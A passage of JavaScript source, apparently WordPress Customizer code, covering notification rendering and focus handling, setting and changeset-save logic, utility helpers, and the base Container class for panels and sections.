					var aPriority = 0, bPriority = 0;
					if ( ! _.isUndefined( errorTypePriorities[ a.type ] ) ) {
						aPriority = errorTypePriorities[ a.type ];
					}
					if ( ! _.isUndefined( errorTypePriorities[ b.type ] ) ) {
						bPriority = errorTypePriorities[ b.type ];
					}
					if ( aPriority !== bPriority ) {
						return bPriority - aPriority; // Show errors first.
					}
					return collection._addedOrder[ b.code ] - collection._addedOrder[ a.code ]; // Show newer notifications higher.
				});
			}

			return notifications;
		},

		/**
		 * Render notifications area.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		render: function() {
			var collection = this,
				notifications, hadOverlayNotification = false, hasOverlayNotification, overlayNotifications = [],
				previousNotificationsByCode = {},
				listElement, focusableElements;

			// Short-circuit if there are no container to render into.
			if ( ! collection.container || ! collection.container.length ) {
				return;
			}

			notifications = collection.get( { sort: true } );
			collection.container.toggle( 0 !== notifications.length );

			// Short-circuit if there are no changes to the notifications.
			if ( collection.container.is( collection.previousContainer ) && _.isEqual( notifications, collection.previousNotifications ) ) {
				return;
			}

			// Make sure list is part of the container.
			listElement = collection.container.children( 'ul' ).first();
			if ( ! listElement.length ) {
				listElement = $( '<ul></ul>' );
				collection.container.append( listElement );
			}

			// Remove all notifications prior to re-rendering.
			listElement.find( '> [data-code]' ).remove();

			_.each( collection.previousNotifications, function( notification ) {
				previousNotificationsByCode[ notification.code ] = notification;
			});

			// Add all notifications in the sorted order.
			_.each( notifications, function( notification ) {
				var notificationContainer;
				if ( wp.a11y && ( ! previousNotificationsByCode[ notification.code ] || ! _.isEqual( notification.message, previousNotificationsByCode[ notification.code ].message ) ) ) {
					wp.a11y.speak( notification.message, 'assertive' );
				}
				notificationContainer = $( notification.render() );
				notification.container = notificationContainer;
				listElement.append( notificationContainer ); // @todo Consider slideDown() as enhancement.

				if ( notification.extended( api.OverlayNotification ) ) {
					overlayNotifications.push( notification );
				}
			});
			hasOverlayNotification = Boolean( overlayNotifications.length );

			if ( collection.previousNotifications ) {
				hadOverlayNotification = Boolean( _.find( collection.previousNotifications, function( notification ) {
					return notification.extended( api.OverlayNotification );
				} ) );
			}

			if ( hasOverlayNotification !== hadOverlayNotification ) {
				$( document.body ).toggleClass( 'customize-loading', hasOverlayNotification );
				collection.container.toggleClass( 'has-overlay-notifications', hasOverlayNotification );
				if ( hasOverlayNotification ) {
					collection.previousActiveElement = document.activeElement;
					$( document ).on( 'keydown', collection.constrainFocus );
				} else {
					$( document ).off( 'keydown', collection.constrainFocus );
				}
			}

			if ( hasOverlayNotification ) {
				collection.focusContainer = overlayNotifications[ overlayNotifications.length - 1 ].container;
				collection.focusContainer.prop( 'tabIndex', -1 );
				focusableElements = collection.focusContainer.find( ':focusable' );
				if ( focusableElements.length ) {
					focusableElements.first().focus();
				} else {
					collection.focusContainer.focus();
				}
			} else if ( collection.previousActiveElement ) {
				$( collection.previousActiveElement ).trigger( 'focus' );
				collection.previousActiveElement = null;
			}

			collection.previousNotifications = notifications;
			collection.previousContainer = collection.container;
			collection.trigger( 'rendered' );
		},

		/**
		 * Constrain focus on focus container.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		constrainFocus: function constrainFocus( event ) {
			var collection = this, focusableElements;

			// Prevent keys from escaping.
			event.stopPropagation();

			if ( 9 !== event.which ) { // Tab key.
				return;
			}

			focusableElements = collection.focusContainer.find( ':focusable' );
			if ( 0 === focusableElements.length ) {
				focusableElements = collection.focusContainer;
			}

			if ( ! $.contains( collection.focusContainer[0], event.target ) || ! $.contains( collection.focusContainer[0], document.activeElement ) ) {
				event.preventDefault();
				focusableElements.first().focus();
			} else if ( focusableElements.last().is( event.target ) && ! event.shiftKey ) {
				event.preventDefault();
				focusableElements.first().focus();
			} else if ( focusableElements.first().is( event.target ) && event.shiftKey ) {
				event.preventDefault();
				focusableElements.last().focus();
			}
		}
	});

	api.Setting = api.Value.extend(/** @lends wp.customize.Setting.prototype */{

		/**
		 * Default params.
		 *
		 * @since 4.9.0
		 * @var {object}
		 */
		defaults: {
			transport: 'refresh',
			dirty: false
		},

		/**
		 * A Customizer Setting.
		 *
		 * A setting is WordPress data (theme mod, option, menu, etc.) that the user can
		 * draft changes to in the Customizer.
		 *
		 * @see PHP class WP_Customize_Setting.
		 *
		 * @constructs wp.customize.Setting
		 * @augments   wp.customize.Value
		 *
		 * @since 3.4.0
		 *
		 * @param {string}  id                          - The setting ID.
		 * @param {*}       value                       - The initial value of the setting.
		 * @param {Object}  [options={}]                - Options.
		 * @param {string}  [options.transport=refresh] - The transport to use for previewing. Supports 'refresh' and 'postMessage'.
		 * @param {boolean} [options.dirty=false]       - Whether the setting should be considered initially dirty.
		 * @param {Object}  [options.previewer]         - The Previewer instance to sync with. Defaults to wp.customize.previewer.
		 */
		initialize: function( id, value, options ) {
			var setting = this, params;
			params = _.extend(
				{ previewer: api.previewer },
				setting.defaults,
				options || {}
			);

			api.Value.prototype.initialize.call( setting, value, params );

			setting.id = id;
			setting._dirty = params.dirty; // The _dirty property is what the Customizer reads from.
			setting.notifications = new api.Notifications();

			// Whenever the setting's value changes, refresh the preview.
			setting.bind( setting.preview );
		},

		/**
		 * Refresh the preview, respective of the setting's refresh policy.
		 *
		 * If the preview hasn't sent a keep-alive message and is likely
		 * disconnected by having navigated to a non-allowed URL, then the
		 * refresh transport will be forced when postMessage is the transport.
		 * Note that postMessage does not throw an error when the recipient window
		 * fails to match the origin window, so using try/catch around the
		 * previewer.send() call to then fallback to refresh will not work.
		 *
		 * @since 3.4.0
		 * @access public
		 *
		 * @return {void}
		 */
		preview: function() {
			var setting = this, transport;
			transport = setting.transport;

			if ( 'postMessage' === transport && ! api.state( 'previewerAlive' ).get() ) {
				transport = 'refresh';
			}

			if ( 'postMessage' === transport ) {
				setting.previewer.send( 'setting', [ setting.id, setting() ] );
			} else if ( 'refresh' === transport ) {
				setting.previewer.refresh();
			}
		},

		/**
		 * Find controls associated with this setting.
		 *
		 * @since 4.6.0
		 * @return {wp.customize.Control[]} Controls associated with setting.
		 */
		findControls: function() {
			var setting = this, controls = [];
			api.control.each( function( control ) {
				_.each( control.settings, function( controlSetting ) {
					if ( controlSetting.id === setting.id ) {
						controls.push( control );
					}
				} );
			} );
			return controls;
		}
	});

	/**
	 * Current change count.
	 *
	 * @alias wp.customize._latestRevision
	 *
	 * @since 4.7.0
	 * @type {number}
	 * @protected
	 */
	api._latestRevision = 0;

	/**
	 * Last revision that was saved.
	 *
	 * @alias wp.customize._lastSavedRevision
	 *
	 * @since 4.7.0
	 * @type {number}
	 * @protected
	 */
	api._lastSavedRevision = 0;

	/**
	 * Latest revisions associated with the updated setting.
	 *
	 * @alias wp.customize._latestSettingRevisions
	 *
	 * @since 4.7.0
	 * @type {object}
	 * @protected
	 */
	api._latestSettingRevisions = {};

	/*
	 * Keep track of the revision associated with each updated setting so that
	 * requestChangesetUpdate knows which dirty settings to include. Also, once
	 * ready is triggered and all initial settings have been added, increment
	 * revision for each newly-created initially-dirty setting so that it will
	 * also be included in changeset update requests.
	 */
	api.bind( 'change', function incrementChangedSettingRevision( setting ) {
		api._latestRevision += 1;
		api._latestSettingRevisions[ setting.id ] = api._latestRevision;
	} );
	api.bind( 'ready', function() {
		api.bind( 'add', function incrementCreatedSettingRevision( setting ) {
			if ( setting._dirty ) {
				api._latestRevision += 1;
				api._latestSettingRevisions[ setting.id ] = api._latestRevision;
			}
		} );
	} );

	/**
	 * Get the dirty setting values.
	 *
	 * @alias wp.customize.dirtyValues
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param {Object} [options] Options.
	 * @param {boolean} [options.unsaved=false] Whether only values not saved yet into a changeset will be returned (differential changes).
	 * @return {Object} Dirty setting values.
	 */
	api.dirtyValues = function dirtyValues( options ) {
		var values = {};
		api.each( function( setting ) {
			var settingRevision;

			if ( ! setting._dirty ) {
				return;
			}

			settingRevision = api._latestSettingRevisions[ setting.id ];

			// Skip including settings that have already been included in the changeset, if only requesting unsaved.
			if ( api.state( 'changesetStatus' ).get() && ( options && options.unsaved ) && ( _.isUndefined( settingRevision ) || settingRevision <= api._lastSavedRevision ) ) {
				return;
			}

			values[ setting.id ] = setting.get();
		} );
		return values;
	};

	/**
	 * Request updates to the changeset.
	 *
	 * @alias wp.customize.requestChangesetUpdate
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param {Object}  [changes] - Mapping of setting IDs to setting params each normally including a value property, or mapping to null.
	 *                             If not provided, then the changes will still be obtained from unsaved dirty settings.
	 * @param {Object}  [args] - Additional options for the save request.
	 * @param {boolean} [args.autosave=false] - Whether changes will be stored in autosave revision if the changeset has been promoted from an auto-draft.
	 * @param {boolean} [args.force=false] - Send request to update even when there are no changes to submit. This can be used to request the latest status of the changeset on the server.
	 * @param {string}  [args.title] - Title to update in the changeset. Optional.
	 * @param {string}  [args.date] - Date to update in the changeset. Optional.
	 * @return {jQuery.Promise} Promise resolving with the response data.
	 */
	api.requestChangesetUpdate = function requestChangesetUpdate( changes, args ) {
		var deferred, request, submittedChanges = {}, data, submittedArgs;
		deferred = new $.Deferred();

		// Prevent attempting changeset update while request is being made.
		if ( 0 !== api.state( 'processing' ).get() ) {
			deferred.reject( 'already_processing' );
			return deferred.promise();
		}

		submittedArgs = _.extend( {
			title: null,
			date: null,
			autosave: false,
			force: false
		}, args );

		if ( changes ) {
			_.extend( submittedChanges, changes );
		}

		// Ensure all revised settings (changes pending save) are also included, but not if marked for deletion in changes.
		_.each( api.dirtyValues( { unsaved: true } ), function( dirtyValue, settingId ) {
			if ( ! changes || null !== changes[ settingId ] ) {
				submittedChanges[ settingId ] = _.extend(
					{},
					submittedChanges[ settingId ] || {},
					{ value: dirtyValue }
				);
			}
		} );

		// Allow plugins to attach additional params to the settings.
		api.trigger( 'changeset-save', submittedChanges, submittedArgs );

		// Short-circuit when there are no pending changes.
		if ( ! submittedArgs.force && _.isEmpty( submittedChanges ) && null === submittedArgs.title && null === submittedArgs.date ) {
			deferred.resolve( {} );
			return deferred.promise();
		}

		// A status would cause a revision to be made, and for this wp.customize.previewer.save() should be used.
		// Status is also disallowed for revisions regardless.
		if ( submittedArgs.status ) {
			return deferred.reject( { code: 'illegal_status_in_changeset_update' } ).promise();
		}

		// Dates not beung allowed for revisions are is a technical limitation of post revisions.
		if ( submittedArgs.date && submittedArgs.autosave ) {
			return deferred.reject( { code: 'illegal_autosave_with_date_gmt' } ).promise();
		}

		// Make sure that publishing a changeset waits for all changeset update requests to complete.
		api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
		deferred.always( function() {
			api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
		} );

		// Ensure that if any plugins add data to save requests by extending query() that they get included here.
		data = api.previewer.query( { excludeCustomizedSaved: true } );
		delete data.customized; // Being sent in customize_changeset_data instead.
		_.extend( data, {
			nonce: api.settings.nonce.save,
			customize_theme: api.settings.theme.stylesheet,
			customize_changeset_data: JSON.stringify( submittedChanges )
		} );
		if ( null !== submittedArgs.title ) {
			data.customize_changeset_title = submittedArgs.title;
		}
		if ( null !== submittedArgs.date ) {
			data.customize_changeset_date = submittedArgs.date;
		}
		if ( false !== submittedArgs.autosave ) {
			data.customize_changeset_autosave = 'true';
		}

		// Allow plugins to modify the params included with the save request.
		api.trigger( 'save-request-params', data );

		request = wp.ajax.post( 'customize_save', data );

		request.done( function requestChangesetUpdateDone( data ) {
			var savedChangesetValues = {};

			// Ensure that all settings updated subsequently will be included in the next changeset update request.
			api._lastSavedRevision = Math.max( api._latestRevision, api._lastSavedRevision );

			api.state( 'changesetStatus' ).set( data.changeset_status );

			if ( data.changeset_date ) {
				api.state( 'changesetDate' ).set( data.changeset_date );
			}

			deferred.resolve( data );
			api.trigger( 'changeset-saved', data );

			if ( data.setting_validities ) {
				_.each( data.setting_validities, function( validity, settingId ) {
					if ( true === validity && _.isObject( submittedChanges[ settingId ] ) && ! _.isUndefined( submittedChanges[ settingId ].value ) ) {
						savedChangesetValues[ settingId ] = submittedChanges[ settingId ].value;
					}
				} );
			}

			api.previewer.send( 'changeset-saved', _.extend( {}, data, { saved_changeset_values: savedChangesetValues } ) );
		} );
		request.fail( function requestChangesetUpdateFail( data ) {
			deferred.reject( data );
			api.trigger( 'changeset-error', data );
		} );
		request.always( function( data ) {
			if ( data.setting_validities ) {
				api._handleSettingValidities( {
					settingValidities: data.setting_validities
				} );
			}
		} );

		return deferred.promise();
	};

	/**
	 * Watch all changes to Value properties, and bubble changes to parent Values instance
	 *
	 * @alias wp.customize.utils.bubbleChildValueChanges
	 *
	 * @since 4.1.0
	 *
	 * @param {wp.customize.Class} instance
	 * @param {Array}              properties  The names of the Value instances to watch.
	 */
	api.utils.bubbleChildValueChanges = function ( instance, properties ) {
		$.each( properties, function ( i, key ) {
			instance[ key ].bind( function ( to, from ) {
				if ( instance.parent && to !== from ) {
					instance.parent.trigger( 'change', instance );
				}
			} );
		} );
	};

	/**
	 * Expand a panel, section, or control and focus on the first focusable element.
	 *
	 * @alias wp.customize~focus
	 *
	 * @since 4.1.0
	 *
	 * @param {Object}   [params]
	 * @param {Function} [params.completeCallback]
	 */
	focus = function ( params ) {
		var construct, completeCallback, focus, focusElement, sections;
		construct = this;
		params = params || {};
		focus = function () {
			// If a child section is currently expanded, collapse it.
			if ( construct.extended( api.Panel ) ) {
				sections = construct.sections();
				if ( 1 < sections.length ) {
					sections.forEach( function ( section ) {
						if ( section.expanded() ) {
							section.collapse();
						}
					} );
				}
			}

			var focusContainer;
			if ( ( construct.extended( api.Panel ) || construct.extended( api.Section ) ) && construct.expanded && construct.expanded() ) {
				focusContainer = construct.contentContainer;
			} else {
				focusContainer = construct.container;
			}

			focusElement = focusContainer.find( '.control-focus:first' );
			if ( 0 === focusElement.length ) {
				// Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
				focusElement = focusContainer.find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ).first();
			}
			focusElement.focus();
		};
		if ( params.completeCallback ) {
			completeCallback = params.completeCallback;
			params.completeCallback = function () {
				focus();
				completeCallback();
			};
		} else {
			params.completeCallback = focus;
		}

		api.state( 'paneVisible' ).set( true );
		if ( construct.expand ) {
			construct.expand( params );
		} else {
			params.completeCallback();
		}
	};

	/**
	 * Stable sort for Panels, Sections, and Controls.
	 *
	 * If a.priority() === b.priority(), then sort by their respective params.instanceNumber.
	 *
	 * @alias wp.customize.utils.prioritySort
	 *
	 * @since 4.1.0
	 *
	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} a
	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} b
	 * @return {number}
	 */
	api.utils.prioritySort = function ( a, b ) {
		if ( a.priority() === b.priority() && typeof a.params.instanceNumber === 'number' && typeof b.params.instanceNumber === 'number' ) {
			return a.params.instanceNumber - b.params.instanceNumber;
		} else {
			return a.priority() - b.priority();
		}
	};

	/**
	 * Return whether the supplied Event object is for a keydown event but not the Enter key.
	 *
	 * @alias wp.customize.utils.isKeydownButNotEnterEvent
	 *
	 * @since 4.1.0
	 *
	 * @param {jQuery.Event} event
	 * @return {boolean}
	 */
	api.utils.isKeydownButNotEnterEvent = function ( event ) {
		return ( 'keydown' === event.type && 13 !== event.which );
	};

	/**
	 * Return whether the two lists of elements are the same and are in the same order.
	 *
	 * @alias wp.customize.utils.areElementListsEqual
	 *
	 * @since 4.1.0
	 *
	 * @param {Array|jQuery} listA
	 * @param {Array|jQuery} listB
	 * @return {boolean}
	 */
	api.utils.areElementListsEqual = function ( listA, listB ) {
		var equal = (
			listA.length === listB.length && // If lists are different lengths, then naturally they are not equal.
			-1 === _.indexOf( _.map(         // Are there any false values in the list returned by map?
				_.zip( listA, listB ),       // Pair up each element between the two lists.
				function ( pair ) {
					return $( pair[0] ).is( pair[1] ); // Compare to see if each pair is equal.
				}
			), false ) // Check for presence of false in map's return value.
		);
		return equal;
	};

	/**
	 * Highlight the existence of a button.
	 *
	 * This function reminds the user of a button represented by the specified
	 * UI element, after an optional delay. If the user focuses the element
	 * before the delay passes, the reminder is canceled.
	 *
	 * @alias wp.customize.utils.highlightButton
	 *
	 * @since 4.9.0
	 *
	 * @param {jQuery} button - The element to highlight.
	 * @param {Object} [options] - Options.
	 * @param {number} [options.delay=0] - Delay in milliseconds.
	 * @param {jQuery} [options.focusTarget] - A target for user focus that defaults to the highlighted element.
	 *                                         If the user focuses the target before the delay passes, the reminder
	 *                                         is canceled. This option exists to accommodate compound buttons
	 *                                         containing auxiliary UI, such as the Publish button augmented with a
	 *                                         Settings button.
	 * @return {Function} An idempotent function that cancels the reminder.
	 */
	api.utils.highlightButton = function highlightButton( button, options ) {
		var animationClass = 'button-see-me',
			canceled = false,
			params;

		params = _.extend(
			{
				delay: 0,
				focusTarget: button
			},
			options
		);

		function cancelReminder() {
			canceled = true;
		}

		params.focusTarget.on( 'focusin', cancelReminder );
		setTimeout( function() {
			params.focusTarget.off( 'focusin', cancelReminder );

			if ( ! canceled ) {
				button.addClass( animationClass );
				button.one( 'animationend', function() {
					/*
					 * Remove animation class to avoid situations in Customizer where
					 * DOM nodes are moved (re-inserted) and the animation repeats.
					 */
					button.removeClass( animationClass );
				} );
			}
		}, params.delay );

		return cancelReminder;
	};

	/**
	 * Get current timestamp adjusted for server clock time.
	 *
	 * Same functionality as the `current_time( 'mysql', false )` function in PHP.
	 *
	 * @alias wp.customize.utils.getCurrentTimestamp
	 *
	 * @since 4.9.0
	 *
	 * @return {number} Current timestamp.
	 */
	api.utils.getCurrentTimestamp = function getCurrentTimestamp() {
		var currentDate, currentClientTimestamp, timestampDifferential;
		currentClientTimestamp = _.now();
		currentDate = new Date( api.settings.initialServerDate.replace( /-/g, '/' ) );
		timestampDifferential = currentClientTimestamp - api.settings.initialClientTimestamp;
		timestampDifferential += api.settings.initialClientTimestamp - api.settings.initialServerTimestamp;
		currentDate.setTime( currentDate.getTime() + timestampDifferential );
		return currentDate.getTime();
	};

	/**
	 * Get remaining time of when the date is set.
	 *
	 * @alias wp.customize.utils.getRemainingTime
	 *
	 * @since 4.9.0
	 *
	 * @param {string|number|Date} datetime - Date time or timestamp of the future date.
	 * @return {number} remainingTime - Remaining time in milliseconds.
	 */
	api.utils.getRemainingTime = function getRemainingTime( datetime ) {
		var millisecondsDivider = 1000, remainingTime, timestamp;
		if ( datetime instanceof Date ) {
			timestamp = datetime.getTime();
		} else if ( 'string' === typeof datetime ) {
			timestamp = ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime();
		} else {
			timestamp = datetime;
		}

		remainingTime = timestamp - api.utils.getCurrentTimestamp();
		remainingTime = Math.ceil( remainingTime / millisecondsDivider );
		return remainingTime;
	};

	/**
	 * Return browser supported `transitionend` event name.
	 *
	 * @since 4.7.0
	 *
	 * @ignore
	 *
	 * @return {string|null} Normalized `transitionend` event name or null if CSS transitions are not supported.
	 */
	normalizedTransitionendEventName = (function () {
		var el, transitions, prop;
		el = document.createElement( 'div' );
		transitions = {
			'transition'      : 'transitionend',
			'OTransition'     : 'oTransitionEnd',
			'MozTransition'   : 'transitionend',
			'WebkitTransition': 'webkitTransitionEnd'
		};
		prop = _.find( _.keys( transitions ), function( prop ) {
			return ! _.isUndefined( el.style[ prop ] );
		} );
		if ( prop ) {
			return transitions[ prop ];
		} else {
			return null;
		}
	})();

	Container = api.Class.extend(/** @lends wp.customize~Container.prototype */{
		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
		defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop },
		containerType: 'container',
		defaults: {
			title: '',
			description: '',
			priority: 100,
			type: 'default',
			content: null,
			active: true,
			instanceNumber: null
		},

		/**
		 * Base class for Panel and Section.
		 *
		 * @constructs wp.customize~Container
		 * @augments   wp.customize.Class
		 *
		 * @since 4.1.0
		 *
		 * @borrows wp.customize~focus as focus
		 *
		 * @param {string}  id - The ID for the container.
		 * @param {Object}  options - Object containing one property: params.
		 * @param {string}  options.title - Title shown when panel is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the panel.
		 * @param {number}  [options.priority=100] - The sort priority for the panel.
		 * @param {string}  [options.templateId] - Template selector for container.
		 * @param {string}  [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
		 * @param {string}  [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the panel is active or not.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var container = this;
			container.id = id;

			if ( ! Container.instanceCounter ) {
				Container.instanceCounter = 0;
			}
			Container.instanceCounter++;

			$.extend( container, {
				params: _.defaults(
					options.params || options, // Passing the params is deprecated.
					container.defaults
				)
			} );
			if ( ! container.params.instanceNumber ) {
				container.params.instanceNumber = Container.instanceCounter;
			}
			container.notifications = new api.Notifications();
			container.templateSelector = container.params.templateId || 'customize-' + container.containerType + '-' + container.params.type;
			container.container = $( container.params.content );
			if ( 0 === container.container.length ) {
				container.container = $( container.getContainer() );
			}
			container.headContainer = container.container;
			container.contentContainer = container.getContent();
			container.container = container.container.add( container.contentContainer );

			container.deferred = {
				embedded: new $.Deferred()
			};
			container.priority = new api.Value();
			container.active = new api.Value();
			container.activeArgumentsQueue = [];
			container.expanded = new api.Value();
			container.expandedArgumentsQueue = [];

			container.active.bind( function ( active ) {
				var args = container.activeArgumentsQueue.shift();
				args = $.extend( {}, container.defaultActiveArguments, args );
				active = ( active && container.isContextuallyActive() );
				container.onChangeActive( active, args );
			});
			container.expanded.bind( function ( expanded ) {
				var args = container.expandedArgumentsQueue.shift();
				args = $.extend( {}, container.defaultExpandedArguments, args );
				container.onChangeExpanded( expanded, args );
			});

			container.deferred.embedded.done( function () {
				container.setupNotifications();
				container.attachEvents();
			});

			api.utils.bubbleChildValueChanges( container, [ 'priority', 'active' ] );

			container.priority.set( container.params.priority );
			container.active.set( container.params.active );
			container.expanded.set( false );
		},

		/**
		 * Get the element that will contain the notifications.
		 *
		 * @since 4.9.0
		 * @return {jQuery} Notification container element.
		 */
		getNotificationsContainerElement: function() {
			var container = this;
			return container.contentContainer.find( '.customize-control-notifications-container:first' );
		},

		/**
		 * Set up notifications.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		setupNotifications: function() {
			var container = this, renderNotifications;
			container.notifications.container = container.getNotificationsContainerElement();

			// Render notifications when they change and when the construct is expanded.
			renderNotifications = function() {
				if ( container.expanded.get() ) {
					container.notifications.render();
				}
			};
			container.expanded.bind( renderNotifications );
			renderNotifications();
			container.notifications.bind( 'change', _.debounce( renderNotifications ) );
		},

		/**
		 * @since 4.1.0
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Get the child models associated with this parent, sorting them by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @param {string} parentType
		 * @param {string} childType
		 * @return {Array}
		 */
		_children: function ( parentType, childType ) {
			var parent = this,
				children = [];
			api[ childType ].each( function ( child ) {
				if ( child[ parentType ].get() === parent.id ) {
					children.push( child );
				}
			} );
			children.sort( api.utils.prioritySort );
			return children;
		},

		/**
		 * To override by subclass, to return whether the container has active children.
		 *
		 * @since 4.1.0
		 *
		 * @abstract
		 */
		isContextuallyActive: function () {
			throw new Error( 'Container.isContextuallyActive() must be overridden in a subclass.' );
		},

		/**
		 * Active state change handler.
		 *
		 * Shows the container if it is active, hides it if not.
		 *
		 * To override by subclass, update the container's UI to reflect the provided active state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  active - The active state to transiution to.
		 * @param {Object}   [args] - Args.
		 * @param {Object}   [args.duration] - The duration for the slideUp/slideDown animation.
		 * @param {boolean}  [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
		 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
		 */
		onChangeActive: function( active, args ) {
			var construct = this,
				headContainer = construct.headContainer,
				duration, expandedOtherPanel;

			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			duration = ( 'resolved' === api.previewer.deferred.active.state() ? args.duration : 0 );

			if ( construct.extended( api.Panel ) ) {
				// If this is a panel is not currently expanded but another panel is expanded, do not animate.
				api.panel.each(function ( panel ) {
					if ( panel !== construct && panel.expanded() ) {
						expandedOtherPanel = panel;
						duration = 0;
					}
				});

				// Collapse any expanded sections inside of this panel first before deactivating.
				if ( ! active ) {
					_.each( construct.sections(), function( section ) {
						section.collapse( { duration: 0 } );
					} );
				}
			}

			if ( ! $.contains( document, headContainer.get( 0 ) ) ) {
				// If the element is not in the DOM, then jQuery.fn.slideUp() does nothing.
				// In this case, a hard toggle is required instead.
				headContainer.toggle( active );
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			} else if ( active ) {
				headContainer.slideDown( duration, args.completeCallback );
			} else {
				if ( construct.expanded() ) {
					construct.collapse({
						duration: duration,
						completeCallback: function() {
							headContainer.slideUp( duration, args.completeCallback );
						}
					});
				} else {
					headContainer.slideUp( duration, args.completeCallback );
				}
			}
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {boolean} active
		 * @param {Object}  [params]
		 * @return {boolean} False if state already applied.
		 */
		_toggleActive: function ( active, params ) {
			var self = this;
			params = params || {};
			if ( ( active && this.active.get() ) || ( ! active && ! this.active.get() ) ) {
				params.unchanged = true;
				self.onChangeActive( self.active.get(), params );
				return false;
			} else {
				params.unchanged = false;
				this.activeArgumentsQueue.push( params );
				this.active.set( active );
				return true;
			}
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already active.
		 */
		activate: function ( params ) {
			return this._toggleActive( true, params );
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already inactive.
		 */
		deactivate: function ( params ) {
			return this._toggleActive( false, params );
		},

		/**
		 * To override by subclass, update the container's UI to reflect the provided active state.
		 * @abstract
		 */
		onChangeExpanded: function () {
			throw new Error( 'Must override with subclass.' );
		},

		/**
		 * Handle the toggle logic for expand/collapse.
		 *
		 * @param {boolean}  expanded - The new state to apply.
		 * @param {Object}   [params] - Object containing options for expand/collapse.
		 * @param {Function} [params.completeCallback] - Function to call when expansion/collapse is complete.
		 * @return {boolean} False if state already applied or active state is false.
		 */
		_toggleExpanded: function( expanded, params ) {
			var instance = this, previousCompleteCallback;
			params = params || {};
			previousCompleteCallback = params.completeCallback;

			// Short-circuit expand() if the instance is not active.
			if ( expanded && ! instance.active() ) {
				return false;
			}

			api.state( 'paneVisible' ).set( true );
			params.completeCallback = function() {
				if ( previousCompleteCallback ) {
					previousCompleteCallback.apply( instance, arguments );
				}
				if ( expanded ) {
					instance.container.trigger( 'expanded' );
				} else {
					instance.container.trigger( 'collapsed' );
				}
			};
			if ( ( expanded && instance.expanded.get() ) || ( ! expanded && ! instance.expanded.get() ) ) {
				params.unchanged = true;
				instance.onChangeExpanded( instance.expanded.get(), params );
				return false;
			} else {
				params.unchanged = false;
				instance.expandedArgumentsQueue.push( params );
				instance.expanded.set( expanded );
				return true;
			}
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already expanded or if inactive.
		 */
		expand: function ( params ) {
			return this._toggleExpanded( true, params );
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already collapsed.
		 */
		collapse: function ( params ) {
			return this._toggleExpanded( false, params );
		},

		/**
		 * Animate container state change if transitions are supported by the browser.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {function} completeCallback Function to be called after transition is completed.
		 * @return {void}
		 */
		_animateChangeExpanded: function( completeCallback ) {
			// Return if CSS transitions are not supported or if reduced motion is enabled.
			if ( ! normalizedTransitionendEventName || isReducedMotion ) {
				// Schedule the callback until the next tick to prevent focus loss.
				_.defer( function () {
					if ( completeCallback ) {
						completeCallback();
					}
				} );
				return;
			}

			var construct = this,
				content = construct.contentContainer,
				overlay = content.closest( '.wp-full-overlay' ),
				elements, transitionEndCallback, transitionParentPane;

			// Determine set of elements that are affected by the animation.
			elements = overlay.add( content );

			if ( ! construct.panel || '' === construct.panel() ) {
				transitionParentPane = true;
			} else if ( api.panel( construct.panel() ).contentContainer.hasClass( 'skip-transition' ) ) {
				transitionParentPane = true;
			} else {
				transitionParentPane = false;
			}
			if ( transitionParentPane ) {
				elements = elements.add( '#customize-info, .customize-pane-parent' );
			}

			// Handle `transitionEnd` event.
			transitionEndCallback = function( e ) {
				if ( 2 !== e.eventPhase || ! $( e.target ).is( content ) ) {
					return;
				}
				content.off( normalizedTransitionendEventName, transitionEndCallback );
				elements.removeClass( 'busy' );
				if ( completeCallback ) {
					completeCallback();
				}
			};
			content.on( normalizedTransitionendEventName, transitionEndCallback );
			elements.addClass( 'busy' );

			// Prevent screen flicker when pane has been scrolled before expanding.
			_.defer( function() {
				var container = content.closest( '.wp-full-overlay-sidebar-content' ),
					currentScrollTop = container.scrollTop(),
					previousScrollTop = content.data( 'previous-scrollTop' ) || 0,
					expanded = construct.expanded();

				if ( expanded && 0 < currentScrollTop ) {
					content.css( 'top', currentScrollTop + 'px' );
					content.data( 'previous-scrollTop', currentScrollTop );
				} else if ( ! expanded && 0 < currentScrollTop + previousScrollTop ) {
					content.css( 'top', previousScrollTop - currentScrollTop + 'px' );
					container.scrollTop( previousScrollTop );
				}
			} );
		},

		/*
		 * is documented using @borrows in the constructor.
		 */
		focus: focus,

		/**
		 * Return the container html, generated from its JS template, if it exists.
		 *
		 * @since 4.3.0
		 */
		getContainer: function () {
			var template,
				container = this;

			if ( 0 !== $( '#tmpl-' + container.templateSelector ).length ) {
				template = wp.template( container.templateSelector );
			} else {
				template = wp.template( 'customize-' + container.containerType + '-default' );
			}
			if ( template && container.container ) {
				return template( _.extend(
